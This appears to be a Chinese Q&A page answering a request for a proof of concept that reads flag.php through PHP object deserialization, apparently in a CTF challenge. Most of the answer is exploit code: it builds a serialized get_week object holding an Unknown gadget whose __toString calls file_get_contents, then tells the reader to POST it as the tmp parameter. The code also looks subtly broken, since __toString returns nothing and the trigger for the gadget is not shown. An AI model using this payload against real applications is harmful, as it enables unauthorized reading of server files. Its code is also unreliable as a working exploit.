获取到flag.php的内容而不是welcome.php,请给出具体的POC(需要POST的具体数组或序列化字符串)
时间: 2024-04-13 22:30:02 浏览: 96
对于获取`flag.php`的内容,可以利用以下POC来构造恶意的序列化字符串:
```php
<?php
class get_week {
public $tmp;
public $date;
function __construct($tmp,$date){
$this->tmp=$tmp;
$this->date=$date;
}
function get_weekday(){
$date_str=date('Y-m-d',strtotime($this->date));
$arr=explode("-", $date_str);
$year=$arr[0];
$month=sprintf('%02d',$arr[1]);
$day=sprintf('%02d',$arr[2]);
$hour = $minute = $second = 0;
$strap = mktime($hour,$minute,$second,$month,$day,$year);
$number_wk=date("w",$strap);
$weekArr=array("星期日","星期一","星期二","星期三","星期四","星期五","星期六");
return $weekArr[$number_wk];
}
}
class Unknown {
public $u = 'flag.php';
function __toString(){
echo file_get_contents($this->u);
}
}
$test = new get_week('', '');
$unknown = new Unknown();
$test->tmp = $unknown;
// 序列化对象
$payload = serialize($test);
echo urlencode($payload);
?>
```
将上述代码保存为`poc.php`文件,然后在浏览器中访问该文件。它将输出一个经过URL编码的序列化字符串,你可以将该字符串作为`$_POST['tmp']`参数的值进行POST请求,从而获取到`flag.php`文件的内容。
请注意,这个POC只是为了演示安全问题,实际应用中不应该存在这样的漏洞。在开发和部署应用程序时,务必要进行充分的输入验证、过滤和安全性检查,以防止此类漏洞的出现。同时,为了保护敏感文件,应该限制对其访问的权限。
阅读全文